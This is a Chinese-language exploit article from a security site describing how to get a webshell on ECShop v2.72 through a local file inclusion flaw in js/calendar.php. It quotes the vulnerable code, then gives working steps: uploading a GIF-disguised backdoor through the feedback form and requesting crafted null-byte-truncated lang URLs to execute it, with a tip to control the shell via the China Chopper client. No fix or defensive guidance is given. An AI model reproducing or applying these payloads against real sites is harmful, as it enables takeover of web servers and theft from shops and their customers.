首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
ecshop最新版 (v272) 本地包含拿SHELL
来源:vfocus.net 作者:vfocus 发布时间:2011-06-21  

直接看代码:

js/calendar.php
 
$lang = (!empty($_GET['lang']))
? trim($_GET['lang']) : ‘zh_cn’;//没有过滤,很明显的包含漏洞
 
if (!file_exists(‘../languages/’ . $lang . ‘/calendar.php’))
{
$lang = ‘zh_cn’;
}
 
require(dirname(dirname(__FILE__)) . ‘/data/config.php’);
header(‘Content-type: application/x-javascript; charset=’ . EC_CHARSET);
 
include_once(‘../languages/’ . $lang . ‘/calendar.php’);//这里包含,需要截断
 
 
 
 
 
前段时间一直徘徊在ecshop的网站上面。后面发现这个比较偏门的漏洞可以拿SHELL,简单说下利用方式。
 
伪造一个gif89a 头的GIF后门文件欺骗,然后注册商城帐号,在我要留言那里留言上传图片,然后利用包含直接拿SHELL!
 
网上的exp Url都是这样的  :http://www.*****.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.
 
想拿SHELL你就在点的后面加个php,很简单这样就可以识别为php文件执行脚本了。
 
如: js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00./1.php
 
直接 js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00.php 也可以的!
 
打开你上传后的gif伪图片经过以上漏洞构造的URL     <出现E文则成功>          <出现中文则失败>  
 
对了,如果利用中弹出下载,建议你使用菜刀连接。比较方便!
 
(弹出下载在之前是没有的。可能升级了~ 不过对此漏洞毫无影响。)
 
如果留言页面找不了的话在根目录加: user.php?act=message_list
 
打开无此页面的话就不可以利用了。

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·5UCMS最新注入漏洞
·rgboard <=4.2.0 任意文件下载漏
·关于firefox的2个插件的漏洞
·极速安康学校网站程序 v3.1.1 co
·eFront添加管理员CSRF漏洞
·DeDecms xss 通杀0day 附getshel
·dedecms 5.6 RSS订阅页面注入漏
·网奇CWMS企业网站管理系统3.0编
·BOSSI 公司(企业)网站管理系统注
·Hishop 5.4&5.4.1 SQL 注入漏洞E
·Modoer 1.2.5 注入0day
·教育站漏洞批量拿shell
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved